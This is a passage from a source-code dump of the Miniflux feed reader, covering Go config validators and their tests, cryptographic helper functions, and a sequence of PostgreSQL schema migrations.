    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage config // import \"miniflux.app/v2/internal/config\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"slices\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nfunc validateChoices(rawValue string, choices []string) error {\n\tif !slices.Contains(choices, rawValue) {\n\t\treturn fmt.Errorf(\"value must be one of: %v\", strings.Join(choices, \", \"))\n\t}\n\treturn nil\n}\n\nfunc validateListChoices(inputValues, choices []string) error {\n\tfor _, value := range inputValues {\n\t\tif err := validateChoices(value, choices); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc validateGreaterThan(rawValue string, min int) error {\n\tintValue, err := strconv.Atoi(rawValue)\n\tif err != nil {\n\t\treturn errors.New(\"value must be an integer\")\n\t}\n\tif intValue > min {\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"value must be at least %d\", min)\n}\n\nfunc validateGreaterOrEqualThan(rawValue string, min int) error {\n\tintValue, err := strconv.Atoi(rawValue)\n\tif err != nil {\n\t\treturn errors.New(\"value must be an integer\")\n\t}\n\tif intValue >= min {\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"value must be greater or equal than %d\", min)\n}\n\nfunc validateRange(rawValue string, min, max int) error {\n\tintValue, err := strconv.Atoi(rawValue)\n\tif err != nil {\n\t\treturn errors.New(\"value must be an integer\")\n\t}\n\tif intValue < min || intValue > max {\n\t\treturn fmt.Errorf(\"value must be between %d and %d\", min, max)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "internal/config/validators_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage config // import \"miniflux.app/v2/internal/config\"\n\nimport (\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestValidateChoices(t *testing.T) {\n\ttests := []struct {\n\t\tname        string\n\t\trawValue    string\n\t\tchoices     []string\n\t\texpectError bool\n\t}{\n\t\t{\n\t\t\tname:        \"valid choice\",\n\t\t\trawValue:    \"option1\",\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"valid choice from middle\",\n\t\t\trawValue:    \"option2\",\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"valid choice from end\",\n\t\t\trawValue:    \"option3\",\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"invalid choice\",\n\t\t\trawValue:    \"invalid\",\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"empty value with non-empty choices\",\n\t\t\trawValue:    \"\",\n\t\t\tchoices:     []string{\"option1\", \"option2\"},\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"case sensitive - different case\",\n\t\t\trawValue:    \"OPTION1\",\n\t\t\tchoices:     []string{\"option1\", \"option2\"},\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"single choice valid\",\n\t\t\trawValue:    \"only\",\n\t\t\tchoices:     []string{\"only\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"empty choices list\",\n\t\t\trawValue:    \"anything\",\n\t\t\tchoices:     []string{},\n\t\t\texpectError: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\terr := validateChoices(tt.rawValue, tt.choices)\n\t\t\tif tt.expectError {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(\"expected error but got none\")\n\t\t\t\t} else {\n\t\t\t\t\t// Verify error message format\n\t\t\t\t\texpectedPrefix := \"value must be one of:\"\n\t\t\t\t\tif !strings.Contains(err.Error(), expectedPrefix) {\n\t\t\t\t\t\tt.Errorf(\"error message should contain '%s', got: %s\", expectedPrefix, err.Error())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"expected no error but got: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestValidateListChoices(t *testing.T) {\n\ttests := []struct {\n\t\tname        string\n\t\tinputValues []string\n\t\tchoices     []string\n\t\texpectError bool\n\t}{\n\t\t{\n\t\t\tname:        \"all valid choices\",\n\t\t\tinputValues: []string{\"option1\", \"option2\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"single valid choice\",\n\t\t\tinputValues: []string{\"option1\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"empty input list\",\n\t\t\tinputValues: []string{},\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"all choices from available list\",\n\t\t\tinputValues: []string{\"option1\", \"option2\", \"option3\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"duplicate valid choices\",\n\t\t\tinputValues: []string{\"option1\", \"option1\", \"option2\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"one invalid choice\",\n\t\t\tinputValues: []string{\"option1\", \"invalid\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"all invalid choices\",\n\t\t\tinputValues: []string{\"invalid1\", \"invalid2\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"case sensitive - different case\",\n\t\t\tinputValues: []string{\"OPTION1\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\"},\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"empty string in input\",\n\t\t\tinputValues: []string{\"\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\"},\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"empty choices list with non-empty input\",\n\t\t\tinputValues: []string{\"anything\"},\n\t\t\tchoices:     []string{},\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"mixed valid and invalid choices\",\n\t\t\tinputValues: []string{\"option1\", \"invalid\", \"option2\"},\n\t\t\tchoices:     []string{\"option1\", \"option2\", \"option3\"},\n\t\t\texpectError: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\terr := validateListChoices(tt.inputValues, tt.choices)\n\t\t\tif tt.expectError {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(\"expected error but got none\")\n\t\t\t\t} else {\n\t\t\t\t\t// Verify error message format\n\t\t\t\t\texpectedPrefix := \"value must be one of:\"\n\t\t\t\t\tif !strings.Contains(err.Error(), expectedPrefix) {\n\t\t\t\t\t\tt.Errorf(\"error message should contain '%s', got: %s\", expectedPrefix, err.Error())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"expected no error but got: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestValidateGreaterThan(t *testing.T) {\n\tif err := validateGreaterThan(\"10\", 5); err != nil {\n\t\tt.Errorf(\"expected no error, got: %v\", err)\n\t}\n\n\tif err := validateGreaterThan(\"5\", 5); err == nil {\n\t\tt.Errorf(\"expected error, got none\")\n\t}\n\n\tif err := validateGreaterThan(\"abc\", 5); err == nil {\n\t\tt.Errorf(\"expected error for non-integer input, got none\")\n\t}\n\n\tif err := validateGreaterThan(\"-1\", 0); err == nil {\n\t\tt.Errorf(\"expected error for value below minimum, got none\")\n\t}\n}\n\nfunc TestValidateGreaterOrEqualThan(t *testing.T) {\n\tif err := validateGreaterOrEqualThan(\"10\", 5); err != nil {\n\t\tt.Errorf(\"expected no error, got: %v\", err)\n\t}\n\n\tif err := validateGreaterOrEqualThan(\"5\", 5); err != nil {\n\t\tt.Errorf(\"expected no error for equal value, got: %v\", err)\n\t}\n\n\tif err := validateGreaterOrEqualThan(\"abc\", 5); err == nil {\n\t\tt.Errorf(\"expected error for non-integer input, got none\")\n\t}\n\n\tif err := validateGreaterOrEqualThan(\"-1\", 0); err == nil {\n\t\tt.Errorf(\"expected error for value below minimum, got none\")\n\t}\n}\n\nfunc TestValidateRange(t *testing.T) {\n\ttests := []struct {\n\t\tname        string\n\t\trawValue    string\n\t\tmin         int\n\t\tmax         int\n\t\texpectError bool\n\t\terrorMsg    string\n\t}{\n\t\t{\n\t\t\tname:        \"valid integer within range\",\n\t\t\trawValue:    \"5\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"valid integer at minimum\",\n\t\t\trawValue:    \"1\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"valid integer at maximum\",\n\t\t\trawValue:    \"10\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"valid zero in range\",\n\t\t\trawValue:    \"0\",\n\t\t\tmin:         -5,\n\t\t\tmax:         5,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"valid negative in range\",\n\t\t\trawValue:    \"-3\",\n\t\t\tmin:         -5,\n\t\t\tmax:         5,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"integer below minimum\",\n\t\t\trawValue:    \"0\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be between 1 and 10\",\n\t\t},\n\t\t{\n\t\t\tname:        \"integer above maximum\",\n\t\t\trawValue:    \"11\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be between 1 and 10\",\n\t\t},\n\t\t{\n\t\t\tname:        \"integer far below minimum\",\n\t\t\trawValue:    \"-100\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be between 1 and 10\",\n\t\t},\n\t\t{\n\t\t\tname:        \"integer far above maximum\",\n\t\t\trawValue:    \"100\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be between 1 and 10\",\n\t\t},\n\t\t{\n\t\t\tname:        \"non-integer string\",\n\t\t\trawValue:    \"abc\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be an integer\",\n\t\t},\n\t\t{\n\t\t\tname:        \"empty string\",\n\t\t\trawValue:    \"\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be an integer\",\n\t\t},\n\t\t{\n\t\t\tname:        \"float string\",\n\t\t\trawValue:    \"5.5\",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be an integer\",\n\t\t},\n\t\t{\n\t\t\tname:        \"string with spaces\",\n\t\t\trawValue:    \" 5 \",\n\t\t\tmin:         1,\n\t\t\tmax:         10,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be an integer\",\n\t\t},\n\t\t{\n\t\t\tname:        \"single value range\",\n\t\t\trawValue:    \"5\",\n\t\t\tmin:         5,\n\t\t\tmax:         5,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"single value range - below\",\n\t\t\trawValue:    \"4\",\n\t\t\tmin:         5,\n\t\t\tmax:         5,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be between 5 and 5\",\n\t\t},\n\t\t{\n\t\t\tname:        \"single value range - above\",\n\t\t\trawValue:    \"6\",\n\t\t\tmin:         5,\n\t\t\tmax:         5,\n\t\t\texpectError: true,\n\t\t\terrorMsg:    \"value must be between 5 and 5\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\terr := validateRange(tt.rawValue, tt.min, tt.max)\n\t\t\tif tt.expectError {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(\"expected error but got none\")\n\t\t\t\t} else if tt.errorMsg != \"\" && err.Error() != tt.errorMsg {\n\t\t\t\t\tt.Errorf(\"expected error message '%s', got '%s'\", tt.errorMsg, err.Error())\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"expected no error but got: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/crypto/crypto.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage crypto // import \"miniflux.app/v2/internal/crypto\"\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/rand\"\n\t\"crypto/sha256\"\n\t\"crypto/subtle\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"hash/fnv\"\n\n\t\"golang.org/x/crypto/bcrypt\"\n)\n\n// HashFromBytes returns a non-cryptographic checksum of the input.\nfunc HashFromBytes(value []byte) string {\n\th := fnv.New128a()\n\th.Write(value)\n\treturn hex.EncodeToString(h.Sum(nil))\n}\n\n// SHA256 returns a SHA-256 checksum of a string.\nfunc SHA256(value string) string {\n\th := sha256.Sum256([]byte(value))\n\treturn hex.EncodeToString(h[:])\n}\n\n// GenerateRandomBytes returns random bytes.\nfunc GenerateRandomBytes(size int) []byte {\n\tb := make([]byte, size)\n\trand.Read(b)\n\treturn b\n}\n\n// GenerateRandomStringHex returns a random hexadecimal string.\nfunc GenerateRandomStringHex(size int) string {\n\treturn hex.EncodeToString(GenerateRandomBytes(size))\n}\n\nfunc HashPassword(password string) (string, error) {\n\tbytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\treturn string(bytes), err\n}\n\nfunc GenerateSHA256Hmac(secret string, data []byte) string {\n\th := hmac.New(sha256.New, []byte(secret))\n\th.Write(data)\n\treturn hex.EncodeToString(h.Sum(nil))\n}\n\nfunc GenerateUUID() string {\n\tb := GenerateRandomBytes(16)\n\treturn fmt.Sprintf(\"%X-%X-%X-%X-%X\", b[0:4], b[4:6], b[6:8], b[8:10], b[10:])\n}\n\nfunc ConstantTimeCmp(a, b string) bool {\n\treturn subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1\n}\n"
  },
  {
    "path": "internal/database/database.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage database // import \"miniflux.app/v2/internal/database\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log/slog\"\n)\n\n// Migrate executes database migrations.\nfunc Migrate(db *sql.DB) error {\n\tvar currentVersion int\n\tdb.QueryRow(`SELECT version FROM schema_version`).Scan(&currentVersion)\n\n\tslog.Info(\"Running database migrations\",\n\t\tslog.Int(\"current_version\", currentVersion),\n\t\tslog.Int(\"latest_version\", schemaVersion),\n\t)\n\n\tfor version := currentVersion; version < schemaVersion; version++ {\n\t\tnewVersion := version + 1\n\n\t\ttx, err := db.Begin()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"[Migration v%d] %v\", newVersion, err)\n\t\t}\n\n\t\tif err := migrations[version](tx); err != nil {\n\t\t\ttx.Rollback()\n\t\t\treturn fmt.Errorf(\"[Migration v%d] %v\", newVersion, err)\n\t\t}\n\n\t\tif _, err := tx.Exec(`TRUNCATE schema_version`); err != nil {\n\t\t\ttx.Rollback()\n\t\t\treturn fmt.Errorf(\"[Migration v%d] %v\", newVersion, err)\n\t\t}\n\n\t\tif _, err := tx.Exec(`INSERT INTO schema_version (version) VALUES ($1)`, newVersion); err != nil {\n\t\t\ttx.Rollback()\n\t\t\treturn fmt.Errorf(\"[Migration v%d] %v\", newVersion, err)\n\t\t}\n\n\t\tif err := tx.Commit(); err != nil {\n\t\t\treturn fmt.Errorf(\"[Migration v%d] %v\", newVersion, err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// IsSchemaUpToDate checks if the database schema is up to date.\nfunc IsSchemaUpToDate(db *sql.DB) error {\n\tvar currentVersion int\n\tdb.QueryRow(`SELECT version FROM schema_version`).Scan(&currentVersion)\n\tif currentVersion < schemaVersion {\n\t\treturn fmt.Errorf(`the database schema is not up to date: current=v%d expected=v%d`, currentVersion, schemaVersion)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "internal/database/migrations.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage database // import \"miniflux.app/v2/internal/database\"\n\nimport (\n\t\"database/sql\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n)\n\nvar schemaVersion = len(migrations)\n\n// Order is important. Add new migrations at the end of the list.\nvar migrations = [...]func(tx *sql.Tx) error{\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE TABLE schema_version (\n\t\t\t\tversion text not null\n\t\t\t);\n\n\t\t\tCREATE TABLE users (\n\t\t\t\tid SERIAL,\n\t\t\t\tusername text not null unique,\n\t\t\t\tpassword text,\n\t\t\t\tis_admin bool default 'f',\n\t\t\t\tlanguage text default 'en_US',\n\t\t\t\ttimezone text default 'UTC',\n\t\t\t\ttheme text default 'default',\n\t\t\t\tlast_login_at timestamp with time zone,\n\t\t\t\tprimary key (id)\n\t\t\t);\n\n\t\t\tCREATE TABLE sessions (\n\t\t\t\tid SERIAL,\n\t\t\t\tuser_id int not null,\n\t\t\t\ttoken text not null unique,\n\t\t\t\tcreated_at timestamp with time zone default now(),\n\t\t\t\tuser_agent text,\n\t\t\t\tip text,\n\t\t\t\tprimary key (id),\n\t\t\t\tunique (user_id, token),\n\t\t\t\tforeign key (user_id) references users(id) on delete cascade\n\t\t\t);\n\n\t\t\tCREATE TABLE categories (\n\t\t\t\tid SERIAL,\n\t\t\t\tuser_id int not null,\n\t\t\t\ttitle text not null,\n\t\t\t\tprimary key (id),\n\t\t\t\tunique (user_id, title),\n\t\t\t\tforeign key (user_id) references users(id) on delete cascade\n\t\t\t);\n\n\t\t\tCREATE TABLE feeds (\n\t\t\t\tid BIGSERIAL,\n\t\t\t\tuser_id int not null,\n\t\t\t\tcategory_id int not null,\n\t\t\t\ttitle text not null,\n\t\t\t\tfeed_url text not null,\n\t\t\t\tsite_url text not null,\n\t\t\t\tchecked_at timestamp with time zone default now(),\n\t\t\t\tetag_header text default '',\n\t\t\t\tlast_modified_header text default '',\n\t\t\t\tparsing_error_msg text default '',\n\t\t\t\tparsing_error_count int default 0,\n\t\t\t\tprimary key (id),\n\t\t\t\tunique (user_id, feed_url),\n\t\t\t\tforeign key (user_id) references users(id) on delete cascade,\n\t\t\t\tforeign key (category_id) references categories(id) on delete cascade\n\t\t\t);\n\n\t\t\tCREATE TYPE entry_status as enum('unread', 'read', 'removed');\n\n\t\t\tCREATE TABLE entries (\n\t\t\t\tid BIGSERIAL,\n\t\t\t\tuser_id int not null,\n\t\t\t\tfeed_id bigint not null,\n\t\t\t\thash text not null,\n\t\t\t\tpublished_at timestamp with time zone not null,\n\t\t\t\ttitle text not null,\n\t\t\t\turl text not null,\n\t\t\t\tauthor text,\n\t\t\t\tcontent text,\n\t\t\t\tstatus entry_status default 'unread',\n\t\t\t\tprimary key (id),\n\t\t\t\tunique (feed_id, hash),\n\t\t\t\tforeign key (user_id) references users(id) on delete cascade,\n\t\t\t\tforeign key (feed_id) references feeds(id) on delete cascade\n\t\t\t);\n\n\t\t\tCREATE INDEX entries_feed_idx on entries using btree(feed_id);\n\n\t\t\tCREATE TABLE enclosures (\n\t\t\t\tid BIGSERIAL,\n\t\t\t\tuser_id int not null,\n\t\t\t\tentry_id bigint not null,\n\t\t\t\turl text not null,\n\t\t\t\tsize int default 0,\n\t\t\t\tmime_type text default '',\n\t\t\t\tprimary key (id),\n\t\t\t\tforeign key (user_id) references users(id) on delete cascade,\n\t\t\t\tforeign key (entry_id) references entries(id) on delete cascade\n\t\t\t);\n\n\t\t\tCREATE TABLE icons (\n\t\t\t\tid BIGSERIAL,\n\t\t\t\thash text not null unique,\n\t\t\t\tmime_type text not null,\n\t\t\t\tcontent bytea not null,\n\t\t\t\tprimary key (id)\n\t\t\t);\n\n\t\t\tCREATE TABLE feed_icons (\n\t\t\t\tfeed_id bigint not null,\n\t\t\t\ticon_id bigint not null,\n\t\t\t\tprimary key(feed_id, icon_id),\n\t\t\t\tforeign key (feed_id) references feeds(id) on delete cascade,\n\t\t\t\tforeign key (icon_id) references icons(id) on delete cascade\n\t\t\t);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t// This used to create a HSTORE `extra` column in the table `users`,\n\t\t// which hasn't been used since Miniflux 2.0.27.\n\t\treturn nil\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE TABLE tokens (\n\t\t\t\tid text not null,\n\t\t\t\tvalue text not null,\n\t\t\t\tcreated_at timestamp with time zone not null default now(),\n\t\t\t\tprimary key(id, value)\n\t\t\t);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE TYPE entry_sorting_direction AS enum('asc', 'desc');\n\t\t\tALTER TABLE users ADD COLUMN entry_direction entry_sorting_direction default 'asc';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE TABLE integrations (\n\t\t\t\tuser_id int not null,\n\t\t\t\tpinboard_enabled bool default 'f',\n\t\t\t\tpinboard_token text default '',\n\t\t\t\tpinboard_tags text default 'miniflux',\n\t\t\t\tpinboard_mark_as_unread bool default 'f',\n\t\t\t\tinstapaper_enabled bool default 'f',\n\t\t\t\tinstapaper_username text default '',\n\t\t\t\tinstapaper_password text default '',\n\t\t\t\tfever_enabled bool default 'f',\n\t\t\t\tfever_username text default '',\n\t\t\t\tfever_password text default '',\n\t\t\t\tfever_token text default '',\n\t\t\t\tprimary key(user_id)\n\t\t\t);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN scraper_rules text default ''`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN rewrite_rules text default ''`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN crawler boolean default 'f'`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE sessions rename to user_sessions`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tDROP TABLE tokens;\n\n\t\t\tCREATE TABLE sessions (\n\t\t\t\tid text not null,\n\t\t\t\tdata jsonb not null,\n\t\t\t\tcreated_at timestamp with time zone not null default now(),\n\t\t\t\tprimary key(id)\n\t\t\t);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN wallabag_enabled bool default 'f',\n\t\t\t\tADD COLUMN wallabag_url text default '',\n\t\t\t\tADD COLUMN wallabag_client_id text default '',\n\t\t\t\tADD COLUMN wallabag_client_secret text default '',\n\t\t\t\tADD COLUMN wallabag_username text default '',\n\t\t\t\tADD COLUMN wallabag_password text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE entries ADD COLUMN starred bool default 'f'`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE INDEX entries_user_status_idx ON entries(user_id, status);\n\t\t\tCREATE INDEX feeds_user_category_idx ON feeds(user_id, category_id);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN nunux_keeper_enabled bool default 'f',\n\t\t\t\tADD COLUMN nunux_keeper_url text default '',\n\t\t\t\tADD COLUMN nunux_keeper_api_key text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE enclosures ALTER COLUMN size SET DATA TYPE bigint`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE entries ADD COLUMN comments_url text default ''`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN pocket_enabled bool default 'f',\n\t\t\t\tADD COLUMN pocket_access_token text default '',\n\t\t\t\tADD COLUMN pocket_consumer_key text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE user_sessions ALTER COLUMN ip SET DATA TYPE inet using ip::inet;\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE feeds\n\t\t\t\tADD COLUMN username text default '',\n\t\t\t\tADD COLUMN password text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE entries ADD COLUMN document_vectors tsvector;\n\t\t\tUPDATE entries SET document_vectors = to_tsvector(substring(title || ' ' || coalesce(content, '') for 1000000));\n\t\t\tCREATE INDEX document_vectors_idx ON entries USING gin(document_vectors);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN user_agent text default ''`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tUPDATE\n\t\t\t\tentries\n\t\t\tSET\n\t\t\t\tdocument_vectors = setweight(to_tsvector(substring(coalesce(title, '') for 1000000)), 'A') || setweight(to_tsvector(substring(coalesce(content, '') for 1000000)), 'B')\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN keyboard_shortcuts boolean default 't'`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN disabled boolean default 'f';`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE users ALTER COLUMN theme SET DEFAULT 'light_serif';\n\t\t\tUPDATE users SET theme='light_serif' WHERE theme='default';\n\t\t\tUPDATE users SET theme='light_sans_serif' WHERE theme='sansserif';\n\t\t\tUPDATE users SET theme='dark_serif' WHERE theme='black';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE entries ADD COLUMN changed_at timestamp with time zone;\n\t\t\tUPDATE entries SET changed_at = published_at;\n\t\t\tALTER TABLE entries ALTER COLUMN changed_at SET not null;\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE TABLE api_keys (\n\t\t\t\tid SERIAL,\n\t\t\t\tuser_id int not null references users(id) on delete cascade,\n\t\t\t\ttoken text not null unique,\n\t\t\t\tdescription text not null,\n\t\t\t\tlast_used_at timestamp with time zone,\n\t\t\t\tcreated_at timestamp with time zone default now(),\n\t\t\t\tprimary key(id),\n\t\t\t\tunique (user_id, 